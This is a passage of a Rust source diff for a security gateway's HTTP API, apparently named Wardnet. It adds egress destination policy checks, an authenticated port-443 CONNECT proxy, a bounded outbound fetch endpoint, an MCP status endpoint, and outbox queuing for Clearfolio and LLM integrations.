pub credentials_source: String, /// True when at least one admin write token is configured. pub admin_auth_configured: bool, + /// `coraza_in_process`, `coraza_sidecar`, or `ingest_hints_only`. + pub proven_engine: String, + /// True when a configured engine outage fails the live transaction closed. + pub proven_engine_fail_closed: bool, + /// `production` (fail-closed classes) or `development` (loopback class permitted). + pub destination_mode: String, + /// `ready` when the PostgreSQL outbox is the authority; `disabled` on file/memory. + pub outbox: String, + pub outbox_pending: i64, + pub outbox_leased: i64, + pub outbox_dead_letter: i64, + pub outbox_oldest_age_seconds: Option, + /// `ready` when PostgreSQL logical backup/restore is the authority; `disabled` on file/memory. + pub backup: String, + /// HASH child count for `security_event` (0 on file/memory). + pub event_partitions: i64, } const PHISHING_DATABASE_DEFAULT_FEED_ID: &str = "phishing-database-active"; @@ -389,7 +701,29 @@ const PHISHING_DATABASE_DEFAULT_IP_LIMIT: usize = 5_000; const PHISHING_DATABASE_DNSBL_CODE: &str = "127.0.0.66"; const PHISHING_DATABASE_DNSBL_REASON: &str = "phishing.database active IP"; const PHISHING_DATABASE_FETCH_TIMEOUT_SECS: u64 = 15; +/// Bounded wait for blocking OS DNS inside destination-policy evaluation. +const DESTINATION_RESOLVE_TIMEOUT: Duration = Duration::from_secs(2); const PHISHING_DATABASE_MAX_BODY_BYTES: usize = 8 * 1024 * 1024; +const OUTBOUND_FETCH_DEFAULT_BYTES: usize = 2 * 1024 * 1024; +const OUTBOUND_FETCH_MAX_BYTES: usize = 8 * 1024 * 1024; +const OUTBOUND_FETCH_MAX_REDIRECTS: usize = 3; + +#[derive(Debug)] +enum OutboundResolutionError { + Destination(destination::DestinationError), + Timeout, + Unavailable, +} + +impl std::fmt::Display for OutboundResolutionError { + fn fmt(&self, formatter: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Destination(error) => error.fmt(formatter), + Self::Timeout => formatter.write_str("destination DNS evaluation timed out"), + Self::Unavailable => formatter.write_str("destination DNS evaluation is unavailable"), + } + } +} const PHISHING_DATABASE_ALLOWED_HOSTS: &[&str] = &["raw.githubusercontent.com", "phish.co.za"]; fn phishing_database_default_feed_id() -> String { @@ -433,6 +767,32 @@ struct ErrorBody { error: String, } +#[derive(Deserialize)] +struct OutboundFetchRequest { + url: String, + #[serde(default = "outbound_fetch_default_bytes")] + max_bytes: usize, +} + +#[derive(Serialize)] +struct OutboundFetchResponse { + status: u16, + content_type: String, + final_url: String, + body_base64: String, + redirects: usize, +} + +#[derive(Serialize)] +struct OutboundFetchError { + code: &'static str, + error: &'static str, +} + +fn outbound_fetch_default_bytes() -> usize { + OUTBOUND_FETCH_DEFAULT_BYTES +} + pub fn build_app(state: AppState) -> Router { let max_body_bytes = state.max_body_bytes; Router::new() @@ -446,10 +806,20 @@ pub fn build_app(state: AppState) -> Router { .route("/api/dnsbl", get(list_dnsbl).post(create_dnsbl)) .route("/api/events", get(list_events)) .route("/api/audit-logs", get(list_audit_logs)) + .route("/api/outbox", get(list_outbox)) + .route("/api/outbox/{message_id}", get(get_outbox_item)) + .route("/api/outbox/{message_id}/replay", post(replay_outbox)) + .route("/api/backup", get(get_backup).post(restore_backup)) + .route("/api/backup/drill", post(backup_drill)) .route("/api/events.ndjson", get(events_ndjson)) .route("/api/kpis", get(kpis)) .route("/api/signatures", get(list_signatures)) .route("/api/evaluate", post(evaluate_request)) + .route("/api/outbound/fetch", post(outbound_fetch)) + .route( + "/api/egress", + get(egress_status).post(evaluate_egress_destination), + ) .route("/metrics", get(metrics)) .route( "/api/commercial/license", @@ -469,6 +839,7 @@ pub fn build_app(state: AppState) -> Router { ) .route("/api/ids/suricata/eve", post(import_suricata_eve)) .route("/api/waf/coraza/audit", post(import_coraza_audit)) + .route("/api/waf/engine-status", get(waf_engine_status)) .route("/api/threat-intel/stix", post(import_stix_document)) .route("/api/threat-intel/misp", post(import_misp_document)) .route("/api/threat-intel/taxii/poll", post(poll_taxii_collection)) @@ -479,162 +850,801 @@ pub fn build_app(state: AppState) -> Router { .route("/api/soc/llm-config", get(soc_llm_config)) .route("/api/soc/analyze", post(soc_analyze)) .route("/api/support-bundle", get(support_bundle)) + .route("/mcp", post(mcp_post)) .route("/dnsbl/zone", get(dnsbl_zone)) .route("/gateway/{*path}", any(gateway)) + .fallback(connect_proxy) .layer(DefaultBodyLimit::max(max_body_bytes)) .with_state(state) } -pub fn export_events_ndjson(events: &[SecurityEvent]) -> Result { - let mut out = String::new(); - for event in events { - out.push_str(&serde_json::to_string(event)?); - out.push('\n'); - } - Ok(out) -} - -// ---- Clearfolio document-viewer integration ------------------------------- -// The admin console can hand live SOC evidence to the Clearfolio viewer: -// submit the document (plain text) to Clearfolio's async convert API, then embed -// the resulting `/viewer/{docId}` iframe. Submit + status are thin single-call -// proxies; the browser polls status and drives the iframe (no server-side loop). - -fn clearfolio_submit_url(base: &str) -> String { - format!("{}/api/v1/convert/jobs", base.trim_end_matches('/')) -} - -fn clearfolio_status_url(base: &str, job_id: &str) -> String { - format!( - "{}/api/v1/convert/jobs/{job_id}", - base.trim_end_matches('/') - ) -} - -fn clearfolio_tenant_headers(config: &ClearfolioConfig) -> [(&'static str, &str); 3] { - [ - ("X-Clearfolio-Tenant-Id", config.tenant_id.as_str()), - ("X-Clearfolio-Subject-Id", config.subject_id.as_str()), - ("X-Clearfolio-Permissions", config.permissions.as_str()), - ] -} - -/// Renders a waf-ids document to plain-text bytes for Clearfolio ingest. -/// Clearfolio only blocks `hwp`/`hwpx`, so text uploads convert normally. -/// Returns `(filename, bytes)` or `None` for an unknown kind. -fn clearfolio_document(kind: &str, data: &AppData) -> Option<(String, Vec)> { - let (name, text) = match kind { - "evidence-manifest" => ( - "evidence-manifest.txt", - serde_json::to_string_pretty(&buyer_evidence_manifest_at(data, now_unix())) - .expect("evidence manifest is JSON-serializable"), - ), - "soc-export" => ( - "soc-export.txt", - export_events_ndjson(&data.events).expect("security events are JSON-serializable"), - ), - _ => return None, - }; - Some((name.to_string(), text.into_bytes())) +#[derive(Debug, Serialize)] +struct EgressStatus { + destination_mode: String, + proxy_auth_configured: bool, + dns_listener_enabled: bool, + cached_host_count: usize, + dns_cache_ttl_seconds: u64, } -async fn clearfolio_relay_json(response: reqwest::Response) -> Response { - let status = StatusCode::from_u16(response.status().as_u16()) - .expect("clearfolio status codes are valid HTTP status codes"); - let body = response.bytes().await.unwrap_or_default(); - (status, [("content-type", "application/json")], body).into_response() +async fn egress_status(State(state): State, headers: HeaderMap) -> Response { + if !admin_authenticated(&state, &headers) { + return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); + } + Json(EgressStatus { + destination_mode: state.destination.mode().to_string(), + proxy_auth_configured: state.egress_proxy_token.is_some(), + dns_listener_enabled: state.egress_dns_listener_enabled, + cached_host_count: state.egress_dns.live_entry_count().await, + dns_cache_ttl_seconds: EGRESS_DNS_TTL.as_secs(), + }) + .into_response() } -#[derive(Serialize)] -struct ClearfolioConfigView { - enabled: bool, - base_url: Option, - kinds: [&'static str; 2], +#[derive(Debug, Deserialize)] +#[serde(deny_unknown_fields)] +struct EgressEvaluationRequest { + url: String, } -/// Reports whether the Clearfolio viewer is configured and its base URL, so the -/// admin console can build viewer iframes. The base URL is not a secret. -async fn clearfolio_config(State(state): State) -> Json { - let base_url = state.clearfolio.as_ref().map(|c| c.base_url.clone()); - Json(ClearfolioConfigView { - enabled: base_url.is_some(), - base_url, - kinds: ["evidence-manifest", "soc-export"], - }) +#[derive(Debug, Serialize)] +struct EgressEvaluationResponse { + allowed: bool, + host: String, + addresses: Vec, + reason: String, } -/// Submits a live waf-ids document to Clearfolio for conversion and relays the -/// async job envelope (`jobId`, `status`, `statusUrl`) back to the console. -async fn clearfolio_submit( +async fn evaluate_egress_destination( State(state): State, - PathParam(kind): PathParam, headers: HeaderMap, + body: Bytes, ) -> Response { - if !admin_authorized(&state, &headers) { + if !admin_authenticated(&state, &headers) { return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); } - let Some(config) = state.clearfolio.clone() else { - return error( - StatusCode::SERVICE_UNAVAILABLE, - "Clearfolio integration is not configured", - ); - }; - let document = { - let data = state.inner.read().await; - clearfolio_document(&kind, &data) - }; - let Some((filename, bytes)) = document else { - return error( - StatusCode::NOT_FOUND, - format!("unknown document kind: {kind}"), - ); + if !admin_authorized(&state, &headers) { + return error(StatusCode::FORBIDDEN, "admin principal is read-only"); + } + let request: EgressEvaluationRequest = match serde_json::from_slice(&body) { + Ok(request) => request, + Err(_) => return error(StatusCode::BAD_REQUEST, "invalid egress evaluation request"), }; - let part = reqwest::multipart::Part::bytes(bytes) - .file_name(filename) - .mime_str("text/plain") - .expect("text/plain is a valid MIME type"); - let form = reqwest::multipart::Form::new().part("file", part); - let mut request = state - .http - .post(clearfolio_submit_url(&config.base_url)) - .multipart(form); - for (name, value) in clearfolio_tenant_headers(&config) { - request = request.header(name, value); + if destination::validate_outbound_url(request.url.trim()).is_err() { + return error(StatusCode::BAD_REQUEST, "destination URL is invalid"); } - match request.send().await { - Ok(response) => clearfolio_relay_json(response).await, - Err(err) => error( - StatusCode::BAD_GATEWAY, - format!("clearfolio request failed: {err}"), - ), + let decision = match state.resolve_outbound(request.url.trim()).await { + Ok(decision) => decision, + Err(OutboundResolutionError::Timeout) => { + return error( + StatusCode::GATEWAY_TIMEOUT, + "destination DNS evaluation timed out", + ); + } + Err(OutboundResolutionError::Unavailable) + | Err(OutboundResolutionError::Destination(destination::DestinationError::Unavailable( + _, + ))) => { + return error( + StatusCode::SERVICE_UNAVAILABLE, + "destination DNS evaluation is unavailable", + ); + } + Err(OutboundResolutionError::Destination(destination::DestinationError::Invalid(_))) => { + return error(StatusCode::BAD_REQUEST, "destination URL is invalid"); + } + Err(OutboundResolutionError::Destination(destination::DestinationError::Denied(_))) => { + return error(StatusCode::FORBIDDEN, "destination policy denied the URL"); + } + }; + let actor = audit_actor(&state, &headers); + let host = decision.host.clone(); + if let Err(message) = state + .mutate_and_persist(|data| { + record_successful_audit_log( + data, + actor, + "evaluate_egress_destination", + "egress_destination", + host, + ); + }) + .await + { + return persist_error(message); } + Json(EgressEvaluationResponse { + allowed: decision.allowed, + host: decision.host, + addresses: decision.ips, + reason: decision.reason, + }) + .into_response() } -/// Proxies one Clearfolio job-status read (tenant headers applied server-side), -/// so the browser can poll conversion progress without holding the credentials. -async fn clearfolio_status( +/// Serve one authenticated, stateless MCP 2026-07-28 JSON-RPC message. +async fn mcp_post( State(state): State, - PathParam(job_id): PathParam, headers: HeaderMap, + Json(message): Json, ) -> Response { - if !admin_authorized(&state, &headers) { + if !admin_authenticated(&state, &headers) { return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); } - let Some(config) = state.clearfolio.clone() else { + if !mcp_origin_allowed(&headers) { + return error(StatusCode::FORBIDDEN, "MCP Origin does not match Host"); + } + let accepts = headers + .get(header::ACCEPT) + .and_then(|value| value.to_str().ok()) + .unwrap_or_default(); + if !(accepts.contains("application/json") && accepts.contains("text/event-stream")) { return error( - StatusCode::SERVICE_UNAVAILABLE, - "Clearfolio integration is not configured", + StatusCode::NOT_ACCEPTABLE, + "MCP requires application/json and text/event-stream", ); - }; - let mut request = state - .http - .get(clearfolio_status_url(&config.base_url, &job_id)); - for (name, value) in clearfolio_tenant_headers(&config) { - request = request.header(name, value); } - match request.send().await { - Ok(response) => clearfolio_relay_json(response).await, - Err(err) => error( + + let method = message.get("method").and_then(|value| value.as_str()); + let protocol_header = headers + .get("mcp-protocol-version") + .and_then(|value| value.to_str().ok()); + let protocol_meta = message + .pointer("/params/_meta/io.modelcontextprotocol~1protocolVersion") + .and_then(|value| value.as_str()); + if protocol_header != Some(MCP_PROTOCOL_VERSION) || protocol_meta != Some(MCP_PROTOCOL_VERSION) + { + return error(StatusCode::BAD_REQUEST, "unsupported MCP protocol version"); + } + if headers + .get("mcp-method") + .and_then(|value| value.to_str().ok()) + != method + { + return error( + StatusCode::BAD_REQUEST, + "Mcp-Method does not match request body", + ); + } + let expected_name = match method { + Some("tools/call") => message + .pointer("/params/name") + .and_then(|value| value.as_str()), + _ => None, + }; + if headers + .get("mcp-name") + .and_then(|value| value.to_str().ok()) + != expected_name + { + return error( + StatusCode::BAD_REQUEST, + "Mcp-Name does not match request body", + ); + } + let id = message + .get("id") + .cloned() + .unwrap_or(serde_json::Value::Null); + if message.get("jsonrpc").and_then(|value| value.as_str()) != Some("2.0") { + return mcp_error(id, -32600, "Invalid Request"); + } + if id.is_null() { + return if method.is_some_and(|value| value.starts_with("notifications/")) { + StatusCode::ACCEPTED.into_response() + } else { + mcp_error(id, -32600, "Invalid Request") + }; + } + if !(id.is_string() || id.as_i64().is_some() || id.as_u64().is_some()) { + return mcp_error(serde_json::Value::Null, -32600, "Invalid Request"); + } + match method { + Some("server/discover") => Json(serde_json::json!({ + "jsonrpc": "2.0", + "id": id, + "result": { + "resultType": "complete", + "supportedVersions": [MCP_PROTOCOL_VERSION], + "capabilities": {"tools": {}}, + "instructions": "Use wardnet_status to inspect current gateway and SOC readiness.", + "ttlMs": 300_000, + "cacheScope": "private", + "_meta": { + "io.modelcontextprotocol/serverInfo": { + "name": "wardnet", + "version": env!("CARGO_PKG_VERSION") + } + } + } + })) + .into_response(), + Some("tools/list") => Json(serde_json::json!({ + "jsonrpc": "2.0", + "id": id, + "result": { + "resultType": "complete", + "tools": [{ + "name": "wardnet_status", + "title": "Wardnet operational status", + "description": "Return current gateway health, security KPIs, readiness, and inventory counts.", + "inputSchema": {"type": "object"}, + "annotations": { + "readOnlyHint": true, + "destructiveHint": false, + "idempotentHint": true, + "openWorldHint": false + } + }], + "ttlMs": 300_000, + "cacheScope": "private" + } + })) + .into_response(), + Some("tools/call") => { + if message.pointer("/params/name").and_then(|value| value.as_str()) + != Some("wardnet_status") + { + return mcp_error(id, -32602, "Unknown tool"); + } + let structured = serde_json::to_value(build_support_bundle(&state).await) + .expect("SupportBundle is JSON-serializable"); + let text = serde_json::to_string(&structured) + .expect("SupportBundle JSON value is serializable"); + Json(serde_json::json!({ + "jsonrpc": "2.0", + "id": id, + "result": { + "resultType": "complete", + "content": [{"type": "text", "text": text}], + "structuredContent": structured, + "isError": false + } + })) + .into_response() + } + Some("ping") => Json(serde_json::json!({ + "jsonrpc": "2.0", + "id": id, + "result": {} + })) + .into_response(), + _ => mcp_error(id, -32601, "Method not found"), + } +} + +/// Reject browser-originated MCP traffic until an explicit origin registry exists. +fn mcp_origin_allowed(headers: &HeaderMap) -> bool { + // Browser clients are not part of the first MCP trust boundary. Rejecting + // every Origin-bearing request prevents a rebinding domain from validating + // itself through the attacker-controlled Host header. + !headers.contains_key(header::ORIGIN) +} + +/// Build a protocol-level JSON-RPC error that preserves a valid request id. +fn mcp_error(id: serde_json::Value, code: i64, message: &'static str) -> Response { + Json(serde_json::json!({ + "jsonrpc": "2.0", + "id": id, + "error": {"code": code, "message": message} + })) + .into_response() +} + +fn proxy_authenticate() -> Response { + let mut response = ( + StatusCode::PROXY_AUTHENTICATION_REQUIRED, + "proxy authentication required", + ) + .into_response(); + response.headers_mut().insert( + header::PROXY_AUTHENTICATE, + HeaderValue::from_static("Basic realm=\"wardnet\""), + ); + response +} + +fn proxy_authorized(state: &AppState, headers: &HeaderMap) -> bool { + let Some(expected) = state.egress_proxy_token.as_deref() else { + return false; + }; + let Some(encoded) = headers + .get(header::PROXY_AUTHORIZATION) + .and_then(|value| value.to_str().ok()) + .and_then(|value| value.strip_prefix("Basic ")) + else { + return false; + }; + let Ok(decoded) = BASE64.decode(encoded) else { + return false; + }; + let Ok(credentials) = std::str::from_utf8(&decoded) else { + return false; + }; + let Some((username, token)) = credentials.split_once(':') else { + return false; + }; + if username != "wardnet" || token.is_empty() { + return false; + } + token == expected +} + +async fn connect_proxy(State(state): State, mut request: Request) -> Response { + if request.method() != Method::CONNECT { + return StatusCode::NOT_FOUND.into_response(); + } + if !proxy_authorized(&state, request.headers()) { + return proxy_authenticate(); + } + let Some(authority) = request.uri().authority() else { + return (StatusCode::BAD_REQUEST, "CONNECT authority is required").into_response(); + }; + if authority.port_u16() != Some(443) { + return (StatusCode::FORBIDDEN, "CONNECT permits port 443 only").into_response(); + } + let host = authority.host().trim_end_matches('.'); + if host.is_empty() { + return (StatusCode::BAD_REQUEST, "CONNECT host is invalid").into_response(); + } + + let addresses = match state.egress_dns.lookup(host).await { + Some(addresses) => addresses, + None => { + let policy_url = if host.parse::().is_ok() { + format!("https://[{host}]/") + } else { + format!("https://{host}/") + }; + match state.resolve_outbound(&policy_url).await { + Ok(decision) => { + state.egress_dns.record(host, &decision.ips).await; + decision.ips + } + Err(_) => { + return (StatusCode::FORBIDDEN, "destination policy denied CONNECT") + .into_response(); + } + } + } + }; + + let mut upstream = None; + for address in addresses.into_iter().take(16) { + if let Ok(Ok(stream)) = tokio::time::timeout( + Duration::from_secs(5), + TcpStream::connect(SocketAddr::new(address, 443)), + ) + .await + { + upstream = Some(stream); + break; + } + } + let Some(mut upstream) = upstream else { + return (StatusCode::BAD_GATEWAY, "upstream connection failed").into_response(); + }; + + let upgrade = hyper::upgrade::on(&mut request); + tokio::spawn(async move { + if let Ok(upgraded) = upgrade.await { + let mut client = hyper_util::rt::TokioIo::new(upgraded); + let _ = copy_bidirectional(&mut client, &mut upstream).await; + } + }); + StatusCode::OK.into_response() +} + +fn outbound_fetch_error(status: StatusCode, code: &'static str, message: &'static str) -> Response { + ( + status, + Json(OutboundFetchError { + code, + error: message, + }), + ) + .into_response() +} + +fn outbound_content_type_allowed(value: &str) -> bool { + let essence = value + .split(';') + .next() + .unwrap_or_default() + .trim() + .to_ascii_lowercase(); + essence.starts_with("text/") + || matches!( + essence.as_str(), + "application/json" | "application/xml" | "application/xhtml+xml" | "application/pdf" + ) +} + +async fn outbound_fetch( + State(state): State, + headers: HeaderMap, + Json(request): Json, +) -> Response { + if !admin_authorized(&state, &headers) { + return outbound_fetch_error( + StatusCode::UNAUTHORIZED, + "unauthorized", + "missing or invalid X-Admin-Token", + ); + } + if request.max_bytes == 0 || request.max_bytes > OUTBOUND_FETCH_MAX_BYTES { + return outbound_fetch_error( + StatusCode::BAD_REQUEST, + "invalid_max_bytes", + "max_bytes is outside the supported range", + ); + } + match tokio::time::timeout( + Duration::from_secs(20), + outbound_fetch_inner(&state, request.url, request.max_bytes), + ) + .await + { + Ok(Ok(response)) => Json(response).into_response(), + Ok(Err((status, code, message))) => outbound_fetch_error(status, code, message), + Err(_) => outbound_fetch_error( + StatusCode::GATEWAY_TIMEOUT, + "fetch_timeout", + "upstream fetch timed out", + ), + } +} + +async fn outbound_fetch_inner( + state: &AppState, + initial_url: String, + max_bytes: usize, +) -> Result { + use futures_util::StreamExt; + + let mut url = reqwest::Url::parse(&initial_url).map_err(|_| { + ( + StatusCode::BAD_REQUEST, + "invalid_url", + "url must be an absolute HTTPS URL", + ) + })?; + if url.scheme() != "https" + || url.host_str().is_none() + || !url.username().is_empty() + || url.password().is_some() + { + return Err(( + StatusCode::BAD_REQUEST, + "invalid_url", + "url must be an absolute HTTPS URL without credentials", + )); + } + url.set_fragment(None); + + for redirects in 0..=OUTBOUND_FETCH_MAX_REDIRECTS { + let request_http = state.outbound_client(url.as_str()).await.map_err(|_| { + ( + StatusCode::BAD_REQUEST, + "destination_denied", + "destination policy denied the URL", + ) + })?; + let response = request_http.get(url.clone()).send().await.map_err(|_| { + ( + StatusCode::BAD_GATEWAY, + "upstream_request_failed", + "upstream request failed", + ) + })?; + + if response.status().is_redirection() { + if redirects == OUTBOUND_FETCH_MAX_REDIRECTS { + return Err(( + StatusCode::BAD_GATEWAY, + "too_many_redirects", + "upstream redirect limit exceeded", + )); + } + let location = response + .headers() + .get(reqwest::header::LOCATION) + .and_then(|value| value.to_str().ok()) + .ok_or(( + StatusCode::BAD_GATEWAY, + "invalid_redirect", + "upstream redirect is missing a valid Location header", + ))?; + url = url.join(location).map_err(|_| { + ( + StatusCode::BAD_GATEWAY, + "invalid_redirect", + "upstream redirect Location is invalid", + ) + })?; + if url.scheme() != "https" || !url.username().is_empty() || url.password().is_some() { + return Err(( + StatusCode::BAD_GATEWAY, + "unsafe_redirect", + "upstream redirect target is not permitted", + )); + } + url.set_fragment(None); + continue; + } + + let content_type = response + .headers() + .get(reqwest::header::CONTENT_TYPE) + .and_then(|value| value.to_str().ok()) + .filter(|value| value.len() <= 256) + .ok_or(( + StatusCode::BAD_GATEWAY, + "unsupported_content_type", + "upstream Content-Type is missing or unsupported", + ))? + .to_string(); + if !outbound_content_type_allowed(&content_type) { + return Err(( + StatusCode::UNSUPPORTED_MEDIA_TYPE, + "unsupported_content_type", + "upstream Content-Type is missing or unsupported", + )); + } + if response + .content_length() + .is_some_and(|length| length > max_bytes as u64) + { + return Err(( + StatusCode::PAYLOAD_TOO_LARGE, + "response_too_large", + "upstream response exceeds max_bytes", + )); + } + let status = response.status().as_u16(); + let mut body = Vec::new(); + let mut stream = response.bytes_stream(); + while let Some(chunk) = stream.next().await { + let chunk = chunk.map_err(|_| { + ( + StatusCode::BAD_GATEWAY, + "upstream_body_failed", + "upstream response body failed", + ) + })?; + if body.len().saturating_add(chunk.len()) > max_bytes { + return Err(( + StatusCode::PAYLOAD_TOO_LARGE, + "response_too_large", + "upstream response exceeds max_bytes", + )); + } + body.extend_from_slice(&chunk); + } + return Ok(OutboundFetchResponse { + status, + content_type, + final_url: url.to_string(), + body_base64: BASE64.encode(body), + redirects, + }); + } + unreachable!("redirect loop exits at the configured bound") +} + +pub fn export_events_ndjson(events: &[SecurityEvent]) -> Result { + let mut out = String::new(); + for event in events { + out.push_str(&serde_json::to_string(event)?); + out.push('\n'); + } + Ok(out) +} + +// ---- Clearfolio document-viewer integration ------------------------------- +// The admin console can hand live SOC evidence to the Clearfolio viewer: +// submit the document (plain text) to Clearfolio's async convert API, then embed +// the resulting `/viewer/{docId}` iframe. Submit + status are thin single-call +// proxies; the browser polls status and drives the iframe (no server-side loop). + +fn clearfolio_submit_url(base: &str) -> String { + format!("{}/api/v1/convert/jobs", base.trim_end_matches('/')) +} + +fn clearfolio_status_url(base: &str, job_id: &str) -> String { + format!( + "{}/api/v1/convert/jobs/{job_id}", + base.trim_end_matches('/') + ) +} + +fn clearfolio_tenant_headers(config: &ClearfolioConfig) -> [(&'static str, &str); 3] { + [ + ("X-Clearfolio-Tenant-Id", config.tenant_id.as_str()), + ("X-Clearfolio-Subject-Id", config.subject_id.as_str()), + ("X-Clearfolio-Permissions", config.permissions.as_str()), + ] +} + +/// Renders a waf-ids document to plain-text bytes for Clearfolio ingest. +/// Clearfolio only blocks `hwp`/`hwpx`, so text uploads convert normally. +/// Returns `(filename, bytes)` or `None` for an unknown kind. +fn clearfolio_document(kind: &str, data: &AppData) -> Option<(String, Vec)> { + let (name, text) = match kind { + "evidence-manifest" => ( + "evidence-manifest.txt", + serde_json::to_string_pretty(&buyer_evidence_manifest_at(data, now_unix())) + .expect("evidence manifest is JSON-serializable"), + ), + "soc-export" => ( + "soc-export.txt", + export_events_ndjson(&data.events).expect("security events are JSON-serializable"), + ), + _ => return None, + }; + Some((name.to_string(), text.into_bytes())) +} + +async fn clearfolio_relay_json(response: reqwest::Response) -> Response { + let status = StatusCode::from_u16(response.status().as_u16()) + .expect("clearfolio status codes are valid HTTP status codes"); + let body = response.bytes().await.unwrap_or_default(); + (status, [("content-type", "application/json")], body).into_response() +} + +#[derive(Serialize)] +struct ClearfolioConfigView { + enabled: bool, + base_url: Option, + kinds: [&'static str; 2], +} + +/// Reports whether the Clearfolio viewer is configured and its base URL, so the +/// admin console can build viewer iframes. The base URL is not a secret. +async fn clearfolio_config(State(state): State) -> Json { + let base_url = state.clearfolio.as_ref().map(|c| c.base_url.clone()); + Json(ClearfolioConfigView { + enabled: base_url.is_some(), + base_url, + kinds: ["evidence-manifest", "soc-export"], + }) +} + +/// Submits a live waf-ids document to Clearfolio for conversion and relays the +/// async job envelope (`jobId`, `status`, `statusUrl`) back to the console. +async fn clearfolio_submit( + State(state): State, + PathParam(kind): PathParam, + headers: HeaderMap, +) -> Response { + if !admin_authorized(&state, &headers) { + return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); + } + let Some(config) = state.clearfolio.clone() else { + return error( + StatusCode::SERVICE_UNAVAILABLE, + "Clearfolio integration is not configured", + ); + }; + let document = { + let data = state.inner.read().await; + clearfolio_document(&kind, &data) + }; + let Some((filename, bytes)) = document else { + return error( + StatusCode::NOT_FOUND, + format!("unknown document kind: {kind}"), + ); + }; + if state.control_plane.is_some() { + let body_text = String::from_utf8_lossy(&bytes).into_owned(); + let actor = audit_actor(&state, &headers); + let intent = ClearfolioSubmitIntent { + kind: kind.clone(), + filename, + body_text, + actor: actor.clone(), + }; + return enqueue_external_effect( + &state, + actor, + outbox::EVENT_CLEARFOLIO_SUBMITTED, + &kind, + &intent, + ) + .await; + } + match execute_clearfolio_submit(&state, &config, filename, bytes).await { + Ok((status, body)) => clearfolio_bytes_response(status, body), + Err(error) => dispatch_http_error(error), + } +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +struct ClearfolioSubmitIntent { + kind: String, + filename: String, + body_text: String, + actor: String, +} + +fn clearfolio_bytes_response(status: u16, body: Vec) -> Response { + let status = StatusCode::from_u16(status).unwrap_or(StatusCode::BAD_GATEWAY); + (status, [("content-type", "application/json")], body).into_response() +} + +fn dispatch_http_error(failure: outbox::DispatchError) -> Response { + let message = failure.as_str(); + let status = match &failure { + outbox::DispatchError::Permanent(text) + if text.contains("destination") || text.starts_with("HTTP 4") => + { + StatusCode::BAD_REQUEST + } + _ => StatusCode::BAD_GATEWAY, + }; + error(status, message.to_string()) +} + +async fn execute_clearfolio_submit( + state: &AppState, + config: &ClearfolioConfig, + filename: String, + bytes: Vec, +) -> Result<(u16, Vec), outbox::DispatchError> { + let part = reqwest::multipart::Part::bytes(bytes) + .file_name(filename) + .mime_str("text/plain") + .expect("text/plain is a valid MIME type"); + let form = reqwest::multipart::Form::new().part("file", part); + let submit_url = clearfolio_submit_url(&config.base_url); + let http = state + .outbound_client(&submit_url) + .await + .map_err(outbox::DispatchError::Permanent)?; + let mut request = http.post(submit_url).multipart(form); + for (name, value) in clearfolio_tenant_headers(config) { + request = request.header(name, value); + } + request = request.timeout(Duration::from_secs(OUTBOX_DISPATCH_TIMEOUT_SECS)); + let response = request.send().await.map_err(|err| { + outbox::DispatchError::Transient(format!("clearfolio request failed: {err}")) + })?; + let status = response.status().as_u16(); + let body = response.bytes().await.unwrap_or_default().to_vec(); + let preview = String::from_utf8_lossy(&body); + outbox::classify_http_status(status, &preview)?; + Ok((status, body)) +} + +/// Proxies one Clearfolio job-status read (tenant headers applied server-side), +/// so the browser can poll conversion progress without holding the credentials. +async fn clearfolio_status( + State(state): State, + PathParam(job_id): PathParam, + headers: HeaderMap, +) -> Response { + if !admin_authorized(&state, &headers) { + return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); + } + let Some(config) = state.clearfolio.clone() else { + return error( + StatusCode::SERVICE_UNAVAILABLE, + "Clearfolio integration is not configured", + ); + }; + let status_url = clearfolio_status_url(&config.base_url, &job_id); + let http = match state.outbound_client(&status_url).await { + Ok(http) => http, + Err(message) => return error(StatusCode::BAD_REQUEST, message), + }; + let mut request = http.get(status_url); + for (name, value) in clearfolio_tenant_headers(&config) { + request = request.header(name, value); + } + match request.send().await { + Ok(response) => clearfolio_relay_json(response).await, + Err(err) => error( StatusCode::BAD_GATEWAY, format!("clearfolio request failed: {err}"), ), @@ -723,8 +1733,6 @@ struct PhishingDatabaseImportRequest { import_domains: bool, #[serde(default = "default_true")] import_ips: bool, - #[serde(default)] - allow_non_default_hosts: bool, } #[derive(Serialize)] @@ -763,46 +1771,75 @@ async fn soc_analyze( format!("unknown event id: {}", request.event_id), ); }; - let body = soc_llm_chat_body(&config.model, &event); + if state.control_plane.is_some() { + let actor = audit_actor(&state, &headers); + let intent = SocAnalyzeIntent { + event: event.clone(), + actor: actor.clone(), + }; + return enqueue_external_effect( + &state, + actor, + outbox::EVENT_SOC_ANALYSIS_REQUESTED, + &event.id.to_string(), + &intent, + ) + .await; + } + match execute_soc_analyze(&state, &config, &event).await { + Ok(response) => Json(response).into_response(), + Err(error) => dispatch_http_error(error), + } +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +struct SocAnalyzeIntent { + event: SecurityEvent, + actor: String, +} + +async fn execute_soc_analyze( + state: &AppState, + config: &SocLlmConfig, + event: &SecurityEvent, +) -> Result { + let body = soc_llm_chat_body(&config.model, event); let endpoint = format!( "{}/v1/chat/completions", config.base_url.trim_end_matches('/') ); - let response = state - .http + let http = state + .outbound_client(&endpoint) + .await + .map_err(outbox::DispatchError::Permanent)?; + let response = http .post(endpoint) .bearer_auth(&config.token) .json(&body) + .timeout(Duration::from_secs(OUTBOX_DISPATCH_TIMEOUT_SECS)) .send() - .await; - match response { - Ok(response) => match response.json::().await { - Ok(json) => match soc_llm_extract_content(&json) { - Some(analysis) => Json(SocAnalyzeResponse { - event_id: event.id, - model: config.model, - analysis, - }) - .into_response(), - None => error( - StatusCode::BAD_GATEWAY, - "llm response missing choices[0].message.content", - ), - }, - Err(err) => error( - StatusCode::BAD_GATEWAY, - format!("llm response read failed: {err}"), - ), - }, - Err(err) => error( - StatusCode::BAD_GATEWAY, - format!("llm request failed: {err}"), - ), - } + .await + .map_err(|err| outbox::DispatchError::Transient(format!("llm request failed: {err}")))?; + let status = response.status().as_u16(); + let json = response.json::().await.map_err(|err| { + outbox::DispatchError::Transient(format!("llm response read failed: {err}")) + })?; + let preview = json.to_string(); + outbox::classify_http_status(status, &preview)?; + let analysis = 